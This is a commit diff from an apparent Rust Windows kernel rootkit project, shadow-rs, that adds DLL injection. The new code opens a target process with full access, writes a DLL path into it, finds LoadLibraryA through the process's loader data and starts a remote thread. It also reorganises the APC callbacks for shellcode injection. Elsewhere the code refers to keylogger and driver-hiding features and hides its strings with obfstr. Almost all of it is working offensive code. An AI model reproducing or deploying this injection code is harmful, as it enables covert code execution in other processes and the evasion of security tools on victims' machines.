mirror of
https://github.com/joaoviictorti/shadow-rs.git
synced 2025-12-19 16:24:26 +01:00
Adding DLL injection functionality
This commit is contained in:
@@ -18,6 +18,7 @@ use {
|
||||
},
|
||||
};
|
||||
|
||||
|
||||
/// List of target drivers protected by a mutex.
|
||||
static DRIVER_INFO_HIDE: Lazy<Mutex<Vec<HiddenDriverInfo>>> = Lazy::new(|| Mutex::new(Vec::with_capacity(MAX_DRIVER)));
|
||||
|
||||
|
||||
@@ -136,9 +136,6 @@ pub mod structs {
|
||||
pub mod types {
|
||||
use super::*;
|
||||
|
||||
// pub type OperationPre = unsafe extern "C" fn(*mut core::ffi::c_void, *mut OB_PRE_OPERATION_INFORMATION) -> i32;
|
||||
// pub type OperationPost = unsafe extern "C" fn(*mut core::ffi::c_void, *mut _OB_POST_OPERATION_INFORMATION);
|
||||
|
||||
pub type DRIVER_INITIALIZE = core::option::Option<unsafe extern "system" fn(
|
||||
DriverObject: &mut _DRIVER_OBJECT,
|
||||
RegistryPath: PCUNICODE_STRING,
|
||||
|
||||
29
driver/src/injection/callbacks.rs
Normal file
29
driver/src/injection/callbacks.rs
Normal file
@@ -0,0 +1,29 @@
|
||||
use wdk_sys::{ntddk::{ExFreePool, PsIsThreadTerminating}, PKAPC, PVOID, _MODE::UserMode};
|
||||
|
||||
use crate::includes::{types::PKNORMAL_ROUTINE, KeTestAlertThread, PsGetCurrentThread};
|
||||
|
||||
pub unsafe extern "system" fn kernel_apc_callback(
|
||||
apc: PKAPC,
|
||||
_normal_routine: *mut PKNORMAL_ROUTINE,
|
||||
_normal_context: *mut PVOID,
|
||||
_system_argument1: *mut PVOID,
|
||||
_system_argument2: *mut PVOID
|
||||
) {
|
||||
|
||||
KeTestAlertThread(UserMode as i8);
|
||||
ExFreePool(apc as _)
|
||||
}
|
||||
|
||||
pub unsafe extern "system" fn user_apc_callback(
|
||||
apc: PKAPC,
|
||||
normal_routine: *mut PKNORMAL_ROUTINE,
|
||||
_normal_context: *mut PVOID,
|
||||
_system_argument1: *mut PVOID,
|
||||
_system_argument2: *mut PVOID
|
||||
) {
|
||||
if PsIsThreadTerminating(PsGetCurrentThread()) == 1 {
|
||||
*normal_routine = None;
|
||||
}
|
||||
|
||||
ExFreePool(apc as _)
|
||||
}
|
||||
@@ -1,29 +1,31 @@
|
||||
#![allow(non_snake_case)]
|
||||
|
||||
use {
|
||||
obfstr::obfstr,
|
||||
shared::structs::TargetInjection,
|
||||
core::{ffi::c_void, ptr::null_mut, mem::{size_of, transmute}},
|
||||
crate::{
|
||||
includes::{
|
||||
types::{
|
||||
ZwProtectVirtualMemoryType, ZwCreateThreadExType, PKNORMAL_ROUTINE
|
||||
},
|
||||
MmCopyVirtualMemory, KeInitializeApc, KeTestAlertThread, PsGetCurrentThread, KeInsertQueueApc,
|
||||
enums::KAPC_ENVIROMENT::OriginalApcEnvironment,
|
||||
types::{
|
||||
ZwCreateThreadExType, ZwProtectVirtualMemoryType, PKNORMAL_ROUTINE
|
||||
},
|
||||
KeInitializeApc, KeInsertQueueApc, MmCopyVirtualMemory,
|
||||
},
|
||||
process::Process,
|
||||
utils::{find_zw_function, read_file, InitializeObjectAttributes, find_thread_alertable}
|
||||
utils::{find_thread_alertable, find_zw_function, read_file, InitializeObjectAttributes, get_module_peb}
|
||||
},
|
||||
callbacks::{kernel_apc_callback, user_apc_callback},
|
||||
core::{ffi::c_void, mem::{size_of, transmute}, ptr::null_mut},
|
||||
obfstr::obfstr,
|
||||
shared::structs::TargetInjection,
|
||||
wdk_sys::{
|
||||
ntddk::{
|
||||
ExAllocatePool2, IoGetCurrentProcess, ZwAllocateVirtualMemory,
|
||||
ZwClose, ZwOpenProcess, ExFreePool, PsIsThreadTerminating
|
||||
ZwClose, ZwOpenProcess
|
||||
},
|
||||
_MODE::{KernelMode, UserMode}, *
|
||||
},
|
||||
};
|
||||
|
||||
mod callbacks;
|
||||
pub struct InjectionShellcode;
|
||||
|
||||
impl InjectionShellcode {
|
||||
@@ -38,10 +40,12 @@ impl InjectionShellcode {
|
||||
pub unsafe fn injection_thread(target: *mut TargetInjection) -> NTSTATUS {
|
||||
let pid = (*target).pid;
|
||||
let path = &(*target).path;
|
||||
|
||||
let zw_thread_addr = match find_zw_function(obfstr!("NtCreateThreadEx")) {
|
||||
Some(addr) => addr as *mut c_void,
|
||||
None => return STATUS_UNSUCCESSFUL
|
||||
};
|
||||
|
||||
let zw_protect_addr = match find_zw_function(obfstr!("NtProtectVirtualMemory")) {
|
||||
Some(addr) => addr as *mut c_void,
|
||||
None => return STATUS_UNSUCCESSFUL
|
||||
@@ -140,6 +144,7 @@ impl InjectionShellcode {
|
||||
Ok(buffer) => buffer,
|
||||
Err(error) => return error
|
||||
};
|
||||
|
||||
let thread_id = match find_thread_alertable(pid) {
|
||||
Some(tid) => tid,
|
||||
None => return STATUS_UNSUCCESSFUL
|
||||
@@ -229,28 +234,98 @@ impl InjectionShellcode {
|
||||
}
|
||||
}
|
||||
|
||||
unsafe extern "system" fn kernel_apc_callback(
|
||||
apc: PKAPC,
|
||||
_normal_routine: *mut PKNORMAL_ROUTINE,
|
||||
_normal_context: *mut PVOID,
|
||||
_system_argument1: *mut PVOID,
|
||||
_system_argument2: *mut PVOID
|
||||
) {
|
||||
pub struct InjectionDLL;
|
||||
|
||||
KeTestAlertThread(UserMode as i8);
|
||||
ExFreePool(apc as _)
|
||||
impl InjectionDLL {
|
||||
pub unsafe fn injection_dll_thread(target: *mut TargetInjection) -> NTSTATUS {
|
||||
let pid = (*target).pid;
|
||||
let path = (*target).path.as_bytes();
|
||||
|
||||
let zw_thread_addr = match find_zw_function(obfstr!("NtCreateThreadEx")) {
|
||||
Some(addr) => addr as *mut c_void,
|
||||
None => return STATUS_UNSUCCESSFUL
|
||||
};
|
||||
|
||||
let zw_protect_addr = match find_zw_function(obfstr!("NtProtectVirtualMemory")) {
|
||||
Some(addr) => addr as *mut c_void,
|
||||
None => return STATUS_UNSUCCESSFUL
|
||||
};
|
||||
|
||||
let function_address = match get_module_peb(pid, obfstr!("kernel32.dll"),obfstr!("LoadLibraryA")) {
|
||||
Some(addr) => addr,
|
||||
None => return STATUS_UNSUCCESSFUL
|
||||
};
|
||||
|
||||
let target_eprocess = match Process::new(pid) {
|
||||
Some(e_process) => e_process,
|
||||
None => return STATUS_UNSUCCESSFUL,
|
||||
};
|
||||
let mut h_process: HANDLE = null_mut();
|
||||
let mut obj_attr = InitializeObjectAttributes(None, 0, None, None, None);
|
||||
let mut client_id = CLIENT_ID {
|
||||
UniqueProcess: pid as _,
|
||||
UniqueThread: null_mut(),
|
||||
};
|
||||
let mut status = ZwOpenProcess(&mut h_process, PROCESS_ALL_ACCESS, &mut obj_attr, &mut client_id);
|
||||
if !NT_SUCCESS(status) {
|
||||
log::error!("ZwOpenProcess Failed With Status: {status}");
|
||||
return status;
|
||||
}
|
||||
|
||||
unsafe extern "system" fn user_apc_callback(
|
||||
apc: PKAPC,
|
||||
normal_routine: *mut PKNORMAL_ROUTINE,
|
||||
_normal_context: *mut PVOID,
|
||||
_system_argument1: *mut PVOID,
|
||||
_system_argument2: *mut PVOID
|
||||
) {
|
||||
if PsIsThreadTerminating(PsGetCurrentThread()) == 1 {
|
||||
*normal_routine = None;
|
||||
let mut base_address = null_mut();
|
||||
let mut region_size = path.len() as u64;
|
||||
status = ZwAllocateVirtualMemory(h_process, &mut base_address, 0, &mut region_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||
if !NT_SUCCESS(status) {
|
||||
log::error!("ZwAllocateVirtualMemory Failed With Status: {status}");
|
||||
ZwClose(h_process);
|
||||
return status;
|
||||
}
|
||||
|
||||
ExFreePool(apc as _)
|
||||
let mut result_number = 0;
|
||||
MmCopyVirtualMemory(
|
||||
IoGetCurrentProcess(),
|
||||
path.as_ptr() as _,
|
||||
target_eprocess.e_process,
|
||||
base_address,
|
||||
(path.len() * size_of::<u16>()) as u64,
|
||||
KernelMode as i8,
|
||||
&mut result_number,
|
||||
);
|
||||
|
||||
let ZwProtectVirtualMemory = transmute::<_, ZwProtectVirtualMemoryType>(zw_protect_addr);
|
||||
let mut old_protect = 0;
|
||||
status = ZwProtectVirtualMemory(h_process, &mut base_address, &mut region_size, PAGE_EXECUTE_READ, &mut old_protect);
|
||||
if !NT_SUCCESS(status) {
|
||||
log::error!("ZwProtectVirtualMemory Failed With Status: {status}");
|
||||
ZwClose(h_process);
|
||||
return status;
|
||||
}
|
||||
|
||||
let ZwCreateThreadEx = transmute::<_, ZwCreateThreadExType>(zw_thread_addr);
|
||||
let mut h_thread = null_mut();
|
||||
let mut obj_attr = InitializeObjectAttributes(None, 0, None, None, None);
|
||||
status = ZwCreateThreadEx(
|
||||
&mut h_thread,
|
||||
THREAD_ALL_ACCESS,
|
||||
&mut obj_attr,
|
||||
h_process,
|
||||
transmute(function_address),
|
||||
base_address,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
null_mut()
|
||||
);
|
||||
if !NT_SUCCESS(status) {
|
||||
log::error!("ZwCreateThreadEx Failed With Status: {status}");
|
||||
ZwClose(h_process);
|
||||
return status;
|
||||
}
|
||||
|
||||
ZwClose(h_process);
|
||||
ZwClose(h_thread);
|
||||
|
||||
STATUS_SUCCESS
|
||||
}
|
||||
}
|
||||
@@ -1,7 +1,8 @@
|
||||
use {
|
||||
crate::{
|
||||
*, callbacks::{Callback, CallbackRegistry, CallbackOb, CallbackList},
|
||||
driver::Driver, injection::InjectionShellcode, keylogger::set_keylogger_state,
|
||||
*,
|
||||
callbacks::{Callback, CallbackRegistry, CallbackOb, CallbackList},
|
||||
driver::Driver, injection::{InjectionShellcode, InjectionDLL}, keylogger::set_keylogger_state,
|
||||
module::Module, process::Process, thread::Thread
|
||||
},
|
||||
alloc::boxed::Box,
|
||||
@@ -15,6 +16,7 @@ use {
|
||||
wdk_sys::{IO_STACK_LOCATION, IRP, NTSTATUS}
|
||||
};
|
||||
|
||||
|
||||
#[cfg(not(feature = "mapper"))]
|
||||
use {
|
||||
crate::{
|
||||
@@ -149,20 +151,27 @@ lazy_static! {
|
||||
status
|
||||
}) as IoctlHandler);
|
||||
|
||||
ioctls.insert(IOCTL_INJECTION_THREAD, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||
log::info!("Received IOCTL_INJECTION_THREAD");
|
||||
ioctls.insert(IOCTL_INJECTION_SHELLCODE_THREAD, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||
log::info!("Received IOCTL_INJECTION_SHELLCODE_THREAD");
|
||||
let status = unsafe { handle_injection!(stack, InjectionShellcode::injection_thread, TargetInjection) };
|
||||
unsafe { (*irp).IoStatus.Information = 0 };
|
||||
status
|
||||
}) as IoctlHandler);
|
||||
|
||||
ioctls.insert(IOCTL_INJECTION_APC, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||
log::info!("Received IOCTL_INJECTION_APC");
|
||||
ioctls.insert(IOCTL_INJECTION_SHELLCODE_APC, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||
log::info!("Received IOCTL_INJECTION_SHELLCODE_APC");
|
||||
let status = unsafe { handle_injection!(stack, InjectionShellcode::injection_apc, TargetInjection) };
|
||||
unsafe { (*irp).IoStatus.Information = 0 };
|
||||
status
|
||||
}) as IoctlHandler);
|
||||
|
||||
ioctls.insert(IOCTL_INJECTION_DLL_THREAD, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||
log::info!("Received IOCTL_INJECTION_DLL_THREAD");
|
||||
let status = unsafe { handle_injection!(stack, InjectionDLL::injection_dll_thread, TargetInjection) };
|
||||
unsafe { (*irp).IoStatus.Information = 0 };
|
||||
status
|
||||
}) as IoctlHandler);
|
||||
|
||||
// If the feature is a mapper, these functionalities will not be added.
|
||||
#[cfg(not(feature = "mapper"))] {
|
||||
|
||||
|
||||
@@ -102,10 +102,6 @@ macro_rules! handle_injection {
|
||||
|
||||
$action(input_buffer)
|
||||
}};
|
||||
|
||||
($action:expr) => {
|
||||
$action()
|
||||
}
|
||||
}
|
||||
|
||||
/// Macro to handle registry-related operations.
|
||||
|
||||
@@ -1,16 +1,18 @@
|
||||
use {
|
||||
crate::{includes::structs::SystemModuleInformation, process::Process},
|
||||
crate::{includes::{structs::SystemModuleInformation, PsGetProcessPeb}, process::Process},
|
||||
alloc::{string::String, vec, vec::Vec},
|
||||
core::{
|
||||
ffi::{c_void, CStr},
|
||||
mem::{size_of, zeroed},
|
||||
ptr::{null_mut, read, read_unaligned},
|
||||
fmt::Write
|
||||
fmt::Write,
|
||||
slice::from_raw_parts
|
||||
},
|
||||
ntapi::{
|
||||
ntexapi::{SystemModuleInformation, SystemProcessInformation, PSYSTEM_PROCESS_INFORMATION},
|
||||
ntzwapi::ZwQuerySystemInformation,
|
||||
ntldr::LDR_DATA_TABLE_ENTRY,
|
||||
ntpebteb::PEB,
|
||||
},
|
||||
obfstr::obfstr,
|
||||
wdk_sys::{
|
||||
@@ -136,18 +138,9 @@ pub unsafe fn get_function_address(function_name: &str, dll_base: *mut c_void) -
|
||||
let nt_header = (dll_base as usize + (*dos_header).e_lfanew as usize) as *mut IMAGE_NT_HEADERS64;
|
||||
|
||||
let export_directory = (dll_base as usize + (*nt_header).OptionalHeader.DataDirectory[0].VirtualAddress as usize) as *const IMAGE_EXPORT_DIRECTORY;
|
||||
let names = core::slice::from_raw_parts(
|
||||
(dll_base as usize + (*export_directory).AddressOfNames as usize) as *const u32,
|
||||
(*export_directory).NumberOfNames as _,
|
||||
);
|
||||
let functions = core::slice::from_raw_parts(
|
||||
(dll_base as usize + (*export_directory).AddressOfFunctions as usize) as *const u32,
|
||||
(*export_directory).NumberOfFunctions as _,
|
||||
);
|
||||
let ordinals = core::slice::from_raw_parts(
|
||||
(dll_base as usize + (*export_directory).AddressOfNameOrdinals as usize) as *const u16,
|
||||
(*export_directory).NumberOfNames as _,
|
||||
);
|
||||
let names = from_raw_parts((dll_base as usize + (*export_directory).AddressOfNames as usize) as *const u32, (*export_directory).NumberOfNames as _);
|
||||
let functions = from_raw_parts((dll_base as usize + (*export_directory).AddressOfFunctions as usize) as *const u32, (*export_directory).NumberOfFunctions as _);
|
||||
let ordinals = from_raw_parts((dll_base as usize + (*export_directory).AddressOfNameOrdinals as usize) as *const u16,(*export_directory).NumberOfNames as _);
|
||||
|
||||
for i in 0..(*export_directory).NumberOfNames as isize {
|
||||
let name = CStr::from_ptr((dll_base as usize + names[i as usize] as usize) as *const i8).to_str().ok()?;
|
||||
@@ -189,18 +182,9 @@ pub unsafe fn get_address_asynckey(name: &str, dll_base: *mut c_void) -> Option<
|
||||
let nt_header = (dll_base + (*dos_header).e_lfanew as usize) as *mut IMAGE_NT_HEADERS64;
|
||||
|
||||
let export_directory = (dll_base + (*nt_header).OptionalHeader.DataDirectory[0].VirtualAddress as usize) as *const IMAGE_EXPORT_DIRECTORY;
|
||||
let names = core::slice::from_raw_parts(
|
||||
(dll_base + (*export_directory).AddressOfNames as usize) as *const u32,
|
||||
(*export_directory).NumberOfNames as _,
|
||||
);
|
||||
let functions = core::slice::from_raw_parts(
|
||||
(dll_base + (*export_directory).AddressOfFunctions as usize) as *const u32,
|
||||
(*export_directory).NumberOfFunctions as _,
|
||||
);
|
||||
let ordinals = core::slice::from_raw_parts(
|
||||
(dll_base + (*export_directory).AddressOfNameOrdinals as usize) as *const u16,
|
||||
(*export_directory).NumberOfNames as _,
|
||||
);
|
||||
let names = from_raw_parts((dll_base + (*export_directory).AddressOfNames as usize) as *const u32,(*export_directory).NumberOfNames as _);
|
||||
let functions = from_raw_parts((dll_base + (*export_directory).AddressOfFunctions as usize) as *const u32,(*export_directory).NumberOfFunctions as _);
|
||||
let ordinals = from_raw_parts((dll_base + (*export_directory).AddressOfNameOrdinals as usize) as *const u16, (*export_directory).NumberOfNames as _);
|
||||
|
||||
for i in 0..(*export_directory).NumberOfNames as isize {
|
||||
let name_module = CStr::from_ptr((dll_base + names[i as usize] as usize) as *const i8).to_str().ok()?;
|
||||
@@ -249,10 +233,7 @@ pub unsafe fn get_process_by_name(process_name: &str) -> Option<usize> {
|
||||
|
||||
loop {
|
||||
if !(*process_info).ImageName.Buffer.is_null() {
|
||||
let image_name = core::slice::from_raw_parts(
|
||||
(*process_info).ImageName.Buffer,
|
||||
((*process_info).ImageName.Length / 2) as usize,
|
||||
);
|
||||
let image_name = from_raw_parts((*process_info).ImageName.Buffer, ((*process_info).ImageName.Length / 2) as usize);
|
||||
let name = String::from_utf16_lossy(image_name);
|
||||
if name == process_name {
|
||||
let pid = (*process_info).UniqueProcessId as usize;
|
||||
@@ -281,53 +262,19 @@ pub unsafe fn get_process_by_name(process_name: &str) -> Option<usize> {
|
||||
/// - `Option<u16>`: The syscall index if found, or `None` if an error occurs or the function is not found.
|
||||
///
|
||||
pub unsafe fn get_syscall_index(function_name: &str) -> Option<u16> {
|
||||
let mut section_handle = null_mut();
|
||||
let ntdll = crate::utils::uni::str_to_unicode("\\KnownDlls\\ntdll.dll");
|
||||
let mut obj_attr = InitializeObjectAttributes(Some(&mut ntdll.to_unicode()), OBJ_CASE_INSENSITIVE, None, None, None);
|
||||
let mut status = ZwOpenSection(&mut section_handle, SECTION_MAP_READ | SECTION_QUERY, &mut obj_attr);
|
||||
if !NT_SUCCESS(status) {
|
||||
log::error!("ZwOpenSection Failed With Status: {status}");
|
||||
return None
|
||||
}
|
||||
let (section_handle, ntdll_addr) = match map_dll(obfstr!("\\KnownDlls\\ntdll.dll")) {
|
||||
Some(infos) => infos,
|
||||
None => return None
|
||||
};
|
||||
|
||||
let mut large: LARGE_INTEGER = zeroed();
|
||||
let mut ntdll_addr = null_mut();
|
||||
let mut view_size = 0;
|
||||
status = ZwMapViewOfSection(
|
||||
section_handle,
|
||||
0xFFFFFFFFFFFFFFFF as *mut core::ffi::c_void,
|
||||
&mut ntdll_addr,
|
||||
0,
|
||||
0,
|
||||
&mut large,
|
||||
&mut view_size,
|
||||
ViewUnmap,
|
||||
0,
|
||||
PAGE_READONLY,
|
||||
);
|
||||
if !NT_SUCCESS(status) {
|
||||
log::error!("ZwMapViewOfSection Failed With Status: {status}");
|
||||
ZwClose(section_handle);
|
||||
return None
|
||||
}
|
||||
|
||||
let dos_header = ntdll_addr as *mut IMAGE_DOS_HEADER;
|
||||
let nt_header = (ntdll_addr as usize + (*dos_header).e_lfanew as usize) as *mut IMAGE_NT_HEADERS64;
|
||||
let dos_header = ntdll_addr as *const IMAGE_DOS_HEADER;
|
||||
let nt_header = (ntdll_addr as usize + (*dos_header).e_lfanew as usize) as *const IMAGE_NT_HEADERS64;
|
||||
|
||||
let ntdll_addr = ntdll_addr as usize;
|
||||
let export_directory = (ntdll_addr + (*nt_header).OptionalHeader.DataDirectory[0].VirtualAddress as usize) as *const IMAGE_EXPORT_DIRECTORY;
|
||||
let names = core::slice::from_raw_parts(
|
||||
(ntdll_addr + (*export_directory).AddressOfNames as usize) as *const u32,
|
||||
(*export_directory).NumberOfNames as _,
|
||||
);
|
||||
let functions = core::slice::from_raw_parts(
|
||||
(ntdll_addr + (*export_directory).AddressOfFunctions as usize) as *const u32,
|
||||
(*export_directory).NumberOfFunctions as _,
|
||||
);
|
||||
let ordinals = core::slice::from_raw_parts(
|
||||
(ntdll_addr + (*export_directory).AddressOfNameOrdinals as usize) as *const u16,
|
||||
(*export_directory).NumberOfNames as _,
|
||||
);
|
||||
let names = from_raw_parts((ntdll_addr + (*export_directory).AddressOfNames as usize) as *const u32, (*export_directory).NumberOfNames as _,);
|
||||
let functions = from_raw_parts((ntdll_addr + (*export_directory).AddressOfFunctions as usize) as *const u32, (*export_directory).NumberOfFunctions as _,);
|
||||
let ordinals = from_raw_parts((ntdll_addr + (*export_directory).AddressOfNameOrdinals as usize) as *const u16, (*export_directory).NumberOfNames as _);
|
||||
|
||||
for i in 0..(*export_directory).NumberOfNames as isize {
|
||||
let name = CStr::from_ptr((ntdll_addr + names[i as usize] as usize) as *const i8).to_str().ok()?;
|
||||
@@ -358,6 +305,129 @@ pub unsafe fn get_syscall_index(function_name: &str) -> Option<u16> {
|
||||
return None
|
||||
}
|
||||
|
||||
/// Retrieves the address of a specified function within a module in the context of a target process.
|
||||
///
|
||||
/// # Parameters
|
||||
/// - `pid`: The process ID (PID) of the target process.
|
||||
/// - `module_name`: The name of the module (DLL) to be searched for. The search is case-insensitive.
|
||||
/// - `function_name`: The name of the function within the module to be found.
|
||||
///
|
||||
/// # Returns
|
||||
/// - `Option<*mut c_void>`: The address of the target function if found.
|
||||
///
|
||||
pub unsafe fn get_module_peb(pid: usize, module_name: &str, function_name: &str) -> Option<*mut c_void> {
|
||||
let mut apc_state: KAPC_STATE = core::mem::zeroed();
|
||||
let target = match Process::new(pid) {
|
||||
Some(p) => p,
|
||||
None => return None,
|
||||
};
|
||||
|
||||
KeStackAttachProcess(target.e_process, &mut apc_state);
|
||||
let target_peb = PsGetProcessPeb(target.e_process) as *mut PEB;
|
||||
if target_peb.is_null() || (*target_peb).Ldr.is_null() {
|
||||
KeUnstackDetachProcess(&mut apc_state);
|
||||
return None;
|
||||
}
|
||||
|
||||
let current = &mut (*(*target_peb).Ldr).InLoadOrderModuleList as *mut winapi::shared::ntdef::LIST_ENTRY;
|
||||
let mut next = (*(*target_peb).Ldr).InLoadOrderModuleList.Flink;
|
||||
|
||||
while next != current {
|
||||
if next.is_null() {
|
||||
log::error!("Next LIST_ENTRY is null");
|
||||
KeUnstackDetachProcess(&mut apc_state);
|
||||
return None;
|
||||
}
|
||||
|
||||
let list_entry = next as *mut LDR_DATA_TABLE_ENTRY;
|
||||
if list_entry.is_null() {
|
||||
log::error!("LDR_DATA_TABLE_ENTRY is null");
|
||||
KeUnstackDetachProcess(&mut apc_state);
|
||||
return None;
|
||||
}
|
||||
|
||||
let buffer = core::slice::from_raw_parts(
|
||||
(*list_entry).FullDllName.Buffer,
|
||||
((*list_entry).FullDllName.Length / 2) as usize,
|
||||
);
|
||||
if buffer.is_empty() {
|
||||
log::error!("Buffer for module name is empty");
|
||||
KeUnstackDetachProcess(&mut apc_state);
|
||||
return None;
|
||||
}
|
||||
|
||||
let dll_name = alloc::string::String::from_utf16(&buffer).ok()?;
|
||||
if dll_name.to_lowercase().contains(module_name) {
|
||||
let dll_base = (*list_entry).DllBase as usize;
|
||||
let dos_header = dll_base as *mut IMAGE_DOS_HEADER;
|
||||
let nt_header = (dll_base + (*dos_header).e_lfanew as usize) as *mut IMAGE_NT_HEADERS64;
|
||||
|
||||
let export_directory = (dll_base + (*nt_header).OptionalHeader.DataDirectory[0].VirtualAddress as usize) as *mut IMAGE_EXPORT_DIRECTORY;
|
||||
let names = from_raw_parts((dll_base + (*export_directory).AddressOfNames as usize) as *const u32,(*export_directory).NumberOfNames as _);
|
||||
let functions = from_raw_parts((dll_base + (*export_directory).AddressOfFunctions as usize) as *const u32,(*export_directory).NumberOfFunctions as _);
|
||||
let ordinals = from_raw_parts((dll_base + (*export_directory).AddressOfNameOrdinals as usize) as *const u16, (*export_directory).NumberOfNames as _);
|
||||
|
||||
for i in 0..(*export_directory).NumberOfNames as isize {
|
||||
let name_module = CStr::from_ptr((dll_base + names[i as usize] as usize) as *const i8).to_str().ok()?;
|
||||
let ordinal = ordinals[i as usize] as usize;
|
||||
let address = (dll_base + functions[ordinal] as usize) as *mut c_void;
|
||||
if name_module == function_name {
|
||||
KeUnstackDetachProcess(&mut apc_state);
|
||||
return Some(address);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
next = (*next).Flink;
|
||||
}
|
||||
|
||||
KeUnstackDetachProcess(&mut apc_state);
|
||||
|
||||
None
|
||||
}
|
||||
|
||||
/// Maps a DLL into memory.
|
||||
///
|
||||
/// # Parameters
|
||||
/// - `name`: The name of the DLL to be mapped.
|
||||
///
|
||||
/// # Returns
|
||||
/// - `Option<(HANDLE, *mut c_void)>`: Containing the handle to the section and a pointer to the mapped view if successful.
|
||||
///
|
||||
pub unsafe fn map_dll(name: &str) -> Option<(HANDLE, *mut c_void)> {
|
||||
let mut section_handle = null_mut();
|
||||
let dll = crate::utils::uni::str_to_unicode(name);
|
||||
let mut obj_attr = InitializeObjectAttributes(Some(&mut dll.to_unicode()), OBJ_CASE_INSENSITIVE, None, None, None);
|
||||
let mut status = ZwOpenSection(&mut section_handle, SECTION_MAP_READ | SECTION_QUERY, &mut obj_attr);
|
||||
if !NT_SUCCESS(status) {
|
||||
log::error!("ZwOpenSection Failed With Status: {status}");
|
||||
return None
|
||||
}
|
||||
|
||||
let mut large: LARGE_INTEGER = zeroed();
|
||||
let mut addr = null_mut();
|
||||
let mut view_size = 0;
|
||||
status = ZwMapViewOfSection(
|
||||
section_handle,
|
||||
0xFFFFFFFFFFFFFFFF as *mut core::ffi::c_void,
|
||||
&mut addr,
|
||||
0,
|
||||
0,
|
||||
&mut large,
|
||||
&mut view_size,
|
||||
ViewUnmap,
|
||||
0,
|
||||
PAGE_READONLY,
|
||||
);
|
||||
if !NT_SUCCESS(status) {
|
||||
log::error!("ZwMapViewOfSection Failed With Status: {status}");
|
||||
ZwClose(section_handle);
|
||||
return None
|
||||
}
|
||||
|
||||
Some((section_handle, addr))
|
||||
}
|
||||
|
||||
/// Finds the address of a specified Zw function.
|
||||
///
|
||||
/// # Parameters
|
||||
@@ -390,9 +460,9 @@ pub unsafe fn find_zw_function(name: &str) -> Option<usize> {
|
||||
0xE9, 0xCC, 0xCC, 0xCC, 0xCC // jmp KiServiceInternal
|
||||
];
|
||||
|
||||
let dos_header = ntoskrnl_addr as *mut IMAGE_DOS_HEADER;
|
||||
let nt_header = (ntoskrnl_addr as usize + (*dos_header).e_lfanew as usize) as *mut IMAGE_NT_HEADERS64;
|
||||
let section_header = (nt_header as usize + size_of::<IMAGE_NT_HEADERS64>()) as *mut IMAGE_SECTION_HEADER;
|
||||
let dos_header = ntoskrnl_addr as *const IMAGE_DOS_HEADER;
|
||||
let nt_header = (ntoskrnl_addr as usize + (*dos_header).e_lfanew as usize) as *const IMAGE_NT_HEADERS64;
|
||||
let section_header = (nt_header as usize + size_of::<IMAGE_NT_HEADERS64>()) as *const IMAGE_SECTION_HEADER;
|
||||
|
||||
for i in 0..(*nt_header).FileHeader.NumberOfSections as usize {
|
||||
let section = (*section_header.add(i)).Name;
|
||||
@@ -450,11 +520,7 @@ pub unsafe fn find_thread_alertable(target_pid: usize) -> Option<*mut _KTHREAD>
|
||||
while (*process_info).NextEntryOffset != 0 {
|
||||
let pid = (*process_info).UniqueProcessId as usize;
|
||||
if pid == target_pid {
|
||||
let threads_slice = core::slice::from_raw_parts(
|
||||
(*process_info).Threads.as_ptr(),
|
||||
(*process_info).NumberOfThreads as usize,
|
||||
);
|
||||
|
||||
let threads_slice = from_raw_parts((*process_info).Threads.as_ptr(), (*process_info).NumberOfThreads as usize,);
|
||||
for &thread in threads_slice {
|
||||
let thread_id = thread.ClientId.UniqueThread as usize;
|
||||
let target_thread = match crate::thread::Thread::new(thread_id) {
|
||||
@@ -562,7 +628,6 @@ pub fn read_file(path: &String) -> Result<Vec<u8>, NTSTATUS> {
|
||||
};
|
||||
if !NT_SUCCESS(status) {
|
||||
log::error!("ZwCreateFile Failed With Status: {status}");
|
||||
unsafe { ZwClose(h_file) };
|
||||
return Err(status);
|
||||
}
|
||||
|
||||
|
||||
Reference in New Issue
Block a user